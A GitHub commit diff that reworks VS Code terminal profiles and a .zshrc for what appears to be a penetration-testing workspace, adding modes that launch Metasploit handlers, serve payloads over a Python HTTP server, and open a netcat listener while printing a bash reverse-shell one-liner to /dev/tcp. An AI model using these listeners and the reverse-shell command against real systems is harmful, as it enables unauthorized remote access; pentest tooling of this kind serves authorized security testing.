Skip to content

Commit f92f6b7

Browse files
committed
update: delete source.zsh usage move it ability to .zshrc file and reduce the cost of zsh loading
1 parent fc13d05 commit f92f6b7

File tree

3 files changed

+56
-98
lines changed

3 files changed

+56
-98
lines changed

.vscode/.zshrc

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,62 @@
1212

1313
# you can define any function
1414

15+
source ${PROJECT_FOLDER}/.vscode/env.zsh
16+
17+
if [ "$WEB_DELIVERY_MODE" ]; then
18+
if [ -z "$PROJECT_WEB_DELIVERY" ]; then
19+
echo "PROJECT_WEB_DELIVERY is not set. Please set it in .vscode/env.zsh"
20+
else
21+
if [ -d "$PROJECT_WEB_DELIVERY" ]; then
22+
echo "FOLDER $PROJECT_WEB_DELIVERY exists."
23+
else
24+
mkdir -p $PROJECT_WEB_DELIVERY
25+
echo "*" > $PROJECT_WEB_DELIVERY/.gitignore
26+
echo "FOLDER $PROJECT_WEB_DELIVERY created."
27+
fi
28+
fi
29+
cd $PROJECT_WEB_DELIVERY
30+
export LISTEN_ON=8890
31+
echo ""
32+
echo "YOUR IP: $LHOST "
33+
echo "YOUR URL: http://$LHOST:$LISTEN_ON "
34+
echo ""
35+
python3 -m http.server $LISTEN_ON
36+
exit 0
37+
fi
38+
39+
40+
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg RHOSTS $RHOST;"
41+
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LHOST $LHOST;"
42+
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LPORT $LPORT;"
43+
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg VHOST $DOMAIN;"
44+
45+
46+
if [ "$METASPLOIT_HANDLER_MODE" ]; then
47+
msfconsole -r "$PROJECT_FOLDER/.vscode/metasploit_handler.rc" \
48+
-x "${METASPLOIT_INIT_COMMAND}"
49+
exit 0
50+
fi
51+
52+
if [ "$METASPLOIT_CONSOLE_MODE" ]; then
53+
msfconsole -r "$PROJECT_FOLDER/.vscode/msfconsole.rc" \
54+
-x "${METASPLOIT_INIT_COMMAND}"
55+
exit 0
56+
fi
57+
58+
if [ "$REVERSE_SHELL_MODE" ]; then
59+
echo ""
60+
echo "YOUR IP: $LHOST"
61+
echo "YOUR Reverse Shell Port: $LPORT"
62+
echo "Basic Revershell Command: "
63+
echo " /bin/bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
64+
echo "Advanced: "
65+
echo " https://rev.eson.ninja/?ip=${LHOST}&port=${LPORT}"
66+
echo ""
67+
rlwrap -I -cAr nc -lvvp ${LPORT}
68+
exit 0
69+
fi
70+
1571
if [ -d "$PROJECT_FOLDER/venv" ]; then
1672
source $PROJECT_FOLDER/venv/bin/activate
1773
fi

.vscode/settings.json

Lines changed: 0 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,6 @@
55
"PROJECT_FOLDER": "${workspaceFolder}"
66
},
77
"path": "zsh",
8-
"args": [
9-
"-c",
10-
"source ${workspaceFolder}/.vscode/source.zsh"
11-
]
128
},
139
"meterpreter-handler": {
1410
"overrideName": true,
@@ -17,10 +13,6 @@
1713
"METASPLOIT_HANDLER_MODE": "True"
1814
},
1915
"path": "zsh",
20-
"args": [
21-
"-c",
22-
"source ${workspaceFolder}/.vscode/source.zsh"
23-
]
2416
},
2517
"msfconsole": {
2618
"overrideName": true,
@@ -29,10 +21,6 @@
2921
"METASPLOIT_CONSOLE_MODE": "True"
3022
},
3123
"path": "zsh",
32-
"args": [
33-
"-c",
34-
"source ${workspaceFolder}/.vscode/source.zsh"
35-
]
3624
},
3725
"netcat-handler": {
3826
"overrideName": true,
@@ -41,10 +29,6 @@
4129
"REVERSE_SHELL_MODE": "True"
4230
},
4331
"path": "zsh",
44-
"args": [
45-
"-c",
46-
"source ${workspaceFolder}/.vscode/source.zsh"
47-
]
4832
},
4933
"web-delivery": {
5034
"overrideName": true,
@@ -53,10 +37,6 @@
5337
"WEB_DELIVERY_MODE": "True"
5438
},
5539
"path": "zsh",
56-
"args": [
57-
"-c",
58-
"source ${workspaceFolder}/.vscode/source.zsh"
59-
]
6040
},
6141
},
6242
"terminal.integrated.profiles.osx": {
@@ -65,10 +45,6 @@
6545
"PROJECT_FOLDER": "${workspaceFolder}"
6646
},
6747
"path": "zsh",
68-
"args": [
69-
"-c",
70-
"source ${workspaceFolder}/.vscode/source.zsh"
71-
]
7248
},
7349
"meterpreter-handler": {
7450
"overrideName": true,
@@ -77,10 +53,6 @@
7753
"METASPLOIT_HANDLER_MODE": "True"
7854
},
7955
"path": "zsh",
80-
"args": [
81-
"-c",
82-
"source ${workspaceFolder}/.vscode/source.zsh"
83-
]
8456
},
8557
"msfconsole": {
8658
"overrideName": true,
@@ -89,10 +61,6 @@
8961
"METASPLOIT_CONSOLE_MODE": "True"
9062
},
9163
"path": "zsh",
92-
"args": [
93-
"-c",
94-
"source ${workspaceFolder}/.vscode/source.zsh"
95-
]
9664
},
9765
"netcat-handler": {
9866
"overrideName": true,
@@ -101,10 +69,6 @@
10169
"REVERSE_SHELL_MODE": "True"
10270
},
10371
"path": "zsh",
104-
"args": [
105-
"-c",
106-
"source ${workspaceFolder}/.vscode/source.zsh"
107-
]
10872
},
10973
"web-delivery": {
11074
"overrideName": true,
@@ -113,10 +77,6 @@
11377
"WEB_DELIVERY_MODE": "True"
11478
},
11579
"path": "zsh",
116-
"args": [
117-
"-c",
118-
"source ${workspaceFolder}/.vscode/source.zsh"
119-
]
12080
},
12181
"kali-orbstack": {
12282
"overrideName": true,

.vscode/source.zsh

Lines changed: 0 additions & 58 deletions
This file was deleted.

0 commit comments

Comments
 (0)